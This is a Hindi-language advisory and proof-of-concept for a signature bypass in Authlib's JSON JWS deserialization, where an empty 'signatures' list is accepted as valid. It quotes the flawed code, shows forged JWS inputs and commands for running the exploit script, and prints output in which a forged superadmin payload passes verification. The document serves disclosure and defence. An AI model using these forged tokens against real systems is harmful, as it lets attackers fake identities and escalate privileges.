
Authlib 1.7.2: हस्ताक्षर सत्यापन बायपास - सामान्य JSON JWS खाली `signatures` होने पर अहस्ताक्षरित पेलोड स्वीकार करता है
Authlib के authlib.jose मॉड्यूल में हस्ताक्षर सत्यापन बायपास के लिए प्रूफ-ऑफ-कॉन्सेप्ट। JsonWebSignature.deserialize_json() एक खाली signatures सरणी वाले General JSON JWS ऑब्जेक्ट को स्वीकार करता है और हमलावर-नियंत्रित पेलोड को सफलतापूर्वक सत्यापित के रूप में लौटाता है - किसी कुंजी की आवश्यकता नहीं, कोई हस्ताक्षर जाँचा नहीं गया।
प्रभावित: Authlib ≤ 1.7.2, authlib.jose मॉड्यूल
प्रभावित नहीं: कॉम्पैक्ट JWT पथ (jwt.decode())। यह बग JSON Serialization JWS API के लिए विशिष्ट है।
CWE: CWE-347 (क्रिप्टोग्राफिक हस्ताक्षर का अनुचित सत्यापन), CWE-670, CWE-358
स्थिति: 1.7.x में अनपैच्ड - authlib.jose मॉड्यूल को Authlib 1.8 में पूरी तरह से हटा दिया गया था, ठीक नहीं किया गया। 1.8 से नीचे पिन किया गया कोई भी डिप्लॉयमेंट उजागर बना हुआ है।
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid को True से प्रारंभ किया जाता है और इसे केवल लूप बॉडी के अंदर ही बदला जाता है। जब signatures [] होता है, तो लूप शून्य बार चलता है, कोई भी सत्यापन तर्क निष्पादित नहीं होता, और फ़ंक्शन सफलता लौटाता है - एक क्लासिक रिक्त-सत्य दोष। दोनों सार्वजनिक प्रवेश बिंदु प्रभावित हैं:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
कोई भी एप्लिकेशन जो deserialize_json() या deserialize() के माध्यम से हमलावर-नियंत्रित JSON JWS इनपुट को सत्यापित करता है, उस इनपुट पर अपनी प्रामाणिकता/अखंडता की गारंटी खो देता है:
sub, role, सत्र दावों को जाली बनानाscope, tenant, permissions दावों को गढ़नाgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
तीनों केस इस दोष को सटीक रूप से अलग करते हैं: गलत कुंजी के साथ एक वास्तविक हस्ताक्षर सही ढंग से अस्वीकार किया जाता है, सही कुंजी के साथ एक वास्तविक हस्ताक्षर सही ढंग से स्वीकार किया जाता है, और एक खाली हस्ताक्षर सूची - जो सबसे अधिक अस्वीकार किया जाने वाला केस होना चाहिए - चुपचाप स्वीकार कर लिया जाता है।
authlib.jose डेप्रिकेशन का हवाला देते हुए (कोई समाधान जारी नहीं): Jul 30authlib.jose को Authlib 1.8 में हटा दिया गया (समाधान के रूप में बैकपोर्ट नहीं किया गया)uziii2208 और nguyenminhtuan28 द्वारा खोजा और रिपोर्ट किया गया।
यह PoC शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है - ताकि अनुरक्षकों, सुरक्षा टीमों और डाउनस्ट्रीम उपयोगकर्ताओं को इस समस्या को समझने और उसका समाधान करने में मदद मिल सके। उन सिस्टमों के विरुद्ध इसका उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।